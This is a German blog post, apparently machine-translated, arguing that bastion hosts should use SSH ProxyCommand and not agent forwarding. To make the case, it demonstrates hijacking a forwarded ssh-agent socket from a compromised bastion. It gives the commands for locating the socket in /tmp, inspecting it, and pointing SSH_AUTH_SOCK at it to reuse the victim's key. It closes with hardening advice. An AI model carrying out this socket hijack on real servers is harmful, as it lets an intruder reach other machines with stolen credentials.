Ich habe die Antwort zu ProxyJump gesehen. Lassen Sie uns über ProxyCommand sprechen .
Aber warte, warte! Ich kann Ihnen schreiben, wie Sie den Server hacken, der die Agentenweiterleitung verwendet. Das wäre viel einfacher, den Unterschied zu verstehen!
Lass uns hacken!
Für die grundlegenden Schritte: Sie können meinen Beitrag hier lesen
Grundlegende Schritte sind die folgenden:
- Erstellen Sie Bastionbenutzer
- Deaktivieren Sie die Root-Anmeldung
- Blockieren Sie Hacking-Versuche
- Port wechseln
- Konfigurieren Sie die Firewall
- Konfigurieren Sie SELinux
Verwendung von AgentForwarding
-Erstellen Sie die Konfiguration in ~ / .ssh / config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
- Fügen Sie Ihren Authentifizierungsschlüssel zu ssh-agent hinzu
ssh-add ~/.ssh/name_rsa
-Verbinden Sie sich mit Bastion Hos
ssh bast
- Verbinden Sie den Anwendungsserver mit der Bastion
ssh app@IP -p PORT
Hacken!
Sie können mir die Frage stellen:
Wie kann man Server hacken, wenn man den Bastion-Host kompromittiert hat?
Ziel verfolgen
Im Verzeichnis / tmp sehen Sie möglicherweise Folgendes:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Öffnen wir die temporäre Datei
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Sehen wir uns die Verbindungen zu dieser Prozess-ID an.
netstat -nxp | grep 10507
Ergebnis:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
und wer ist verbunden?
lsof -i -a -p 10507
Ergebnis:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Wir können auch Socket-Dateien sehen:
cd /proc/10507/fd/
ls
Ergebnis:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Und was passiert, wenn der Client mit dem Remote-Server verbunden wird? Mal sehen:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Wir können sogar sehen, ob eine Socket-Datei mit netstat verwendet wird:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Stehlen Sie Socket-Informationen und IP-Adresse
Jetzt müssen wir die Socket-Informationen stehlen, während die Sitzung des Bastion-Hosts geöffnet ist . Oh, wir brauchen auch die IP des Zielservers , also benutze einfach netstat:
netstat -tn
Der letzte Schritt zur Verwendung der weitergeleiteten Socket-Datei
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Überprüfen Sie, ob der Schlüssel geladen ist .
ssh-add -l
führen sollte etwas sein , wie das :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Server ist gehackt, wie kann man das Sicherheitsproblem beheben?
Proxy-Befehl
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Für grundlegende Operationen: Wie man Dateien über die Server überträgt (von Client zu Server, Server zu Client), können Sie in meinem Beitrag hier lesen
Fazit
- Wenn Sie einen Bastion-Host verwenden, verwenden Sie nicht AgentForwarding, sondern ProxyCommand
- Verwenden Sie zur Authentifizierung immer Benutzer ohne Rootberechtigung
- Verwenden Sie eine Firewall und blockieren Sie alle unnötigen Verbindungen.
- Verwenden Sie SELinux (im Allgemeinen)
- Blockieren Sie die IP-Adresse, die mehrmals versucht, sich mit falschen Anmeldeinformationen anzumelden
- Wenn dies nicht erforderlich ist, geben Sie dem Benutzer keine sudo-Berechtigung
- Überwachen Sie Ihren Server
- Aktualisieren Sie Ihren Server auf Sicherheitspatches
Weitere Informationen finden Sie in meinem Blog . Zusätzlich habe ich einige Screeenshots, so dass es für Sie hilfreich sein kann.